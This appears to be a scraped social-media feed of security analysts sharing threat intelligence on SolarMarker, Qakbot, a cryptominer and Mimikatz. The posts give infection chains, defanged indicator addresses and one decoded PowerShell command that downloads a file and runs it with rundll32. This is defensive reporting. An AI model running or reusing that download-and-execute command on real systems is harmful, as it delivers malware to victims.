Isa

// space for ~cool~ #malware stuff

[Squiblydoo @SquiblydooBlog]

Decrypting the #SolarMarker payload with #Malcat

Go to PS1 -> Select Base64 of payload -> Decode Base64 and open in new file -> use AES Key and IV from the PowerShell to decrypt. -> Click to see contents of GZipped file. Done.

Confirmed as SolarMarker on MalwareBazaar.

[Dray Agha @Purp1eW0lf]

Using @HuntressLabs MDR for Microsoft 365 makes defensive work easy af ✉️🛡️

Telemetry proved user usually authenticated from Texas 🇺🇸

Yet, we'd seen anomalous authentications from 🇬🇭 and 🇺🇦

So, we temporarily disabled the account and issued the partner a report 💪

[Isa @phish_y]

@MaxRogers5 🤣🤣🤣

[Josh Allman @xorJosh]

Case from @HuntressLabs worked with @phish_y

w3wp.exe launches some suspicious commands along with the executable "Zero.ux.tmp" then creates a new account "Windows" and adds it the local admin as well as opening up RDP

🧵1/2

[Isa @phish_y]

@elonmusk give me permission to edit my tweets plz

[Isa @phish_y]

Obfuscated Powershell script and downloaded 'file.dll'
_________
Domains:
- http[:]//146.190.116[.]245/
- http[:]//134.209.216[.]163/
- http[:]//162.243.186[.]39/
- http[:]//142.93.250[.]152/
- http[:]//161.35.58[.]146/

Working directories:
C:\Users\Public\Documents

[Isa @phish_y]

#Qakbot
[REPOST]
Phishing email > .pdf > .js > .ps > .dll

Reported first by JRoosen & pr0xylife

[Isa @phish_y]

Requires user to interact with .pdf file and drops #.js

_________
Working directories:
C:\Users\%User%\Downloads

[Isa @phish_y]

Obfuscated Powershell script and downloaded 'file.dll'
_________
Domains:
- http[:]//146.190.116[.]245/
- http[:]//134.209.216[.]163/
- http[:]//162.243.186[.]39/
- http[:]//142.93.250[.]152/
- http[:]//161.35.58[.]146/

Working directories:
C:\Users\Public\Documents

[Isa @phish_y]

Requires user to interact with .pdf file and drops #.js

_________
Working directories:
C:\Users\%User%\Downloads

[Dray Agha @Purp1eW0lf]

More #OneNote #Qakbot blowing up @HuntressLabs EDR

https://t.co/ke06N0u852 -->> `O P E N .wsf` via Wscript

Stores encoded Pwsh in HKCU\SOFTWARE\, subkeys `arsenatesHousing` & `Underweft`

Adds drive exclusion to Defender

143.198.63[.]241 for DLL

rundll32 Upcurled.dll, RS32

[Isa @phish_y]

My teammmate @xorJosh searched the wallet address:
47bYnmg3z3A9UChkAg2odbLF7qn5AWXRohwaZdYa8QSfdCtvy3c2Dme8CwzpjiihoA6hfg4TL1EVyGda3sKq7taz2u4NvLU

First payment 719 Days Ago
Last payment 22 Hrs Ago
Total Xmr Paid 5.10870709

[Isa @phish_y]

#monero #cryptocurrency #miner

Peer2Profit Backdoor > Pawn Setup.exe > winlogon.exe

Evidence suggest user downloaded “Peer2Profit-Setup_0_53_signed.zip” and unraveled into a cryptocurrency miner

Domains:
https[:]//dashboard[.]peer2profit[.]app/

[Isa @phish_y]

User starts cryptocurrency miner masquerading as “winlogon.exe”
- Starts NetSupport
- Runs “cgfi” script
__________
Working directories:
C:\Intel\
C:\ProgramData\

[Isa @phish_y]

Decoded PS Script:
"powershell Invoke-WebRequest -URL https[:]//somosacce[.]org/aswyw\01.gif
-Outfile C:\programdata\putty[.]jpg
rundll32 C:\programdata\putty[.]jpg, Wind exit"

_________
Working directories:
C:\ProgramData\
C:\Users\%User%\AppData\Local\Temp\OneNote

[Isa @phish_y]

#onenote #malware (possible #qakbot)

Phishing email >> .one file >> .cmd >> .ps >> .jpg

[Isa @phish_y]

Requires user to interact with .one file

Common domains:
somosacce[.]org
nerulgymkhana[.]com
starcomputadoras[.]com

[Isa @phish_y]

2022-12-17 19:55:48 — UserA ran a powershell script on HOST1 that attempted to disable Windows Defender

[Isa @phish_y]

#Mimikatz infection

RDP connection >> .BAT file >> 64.exe >> Powershell script

[Isa @phish_y]

2022-12-17 19:47:48 — UserA ran “dump.bat” file and started 64.exe/LSASS dump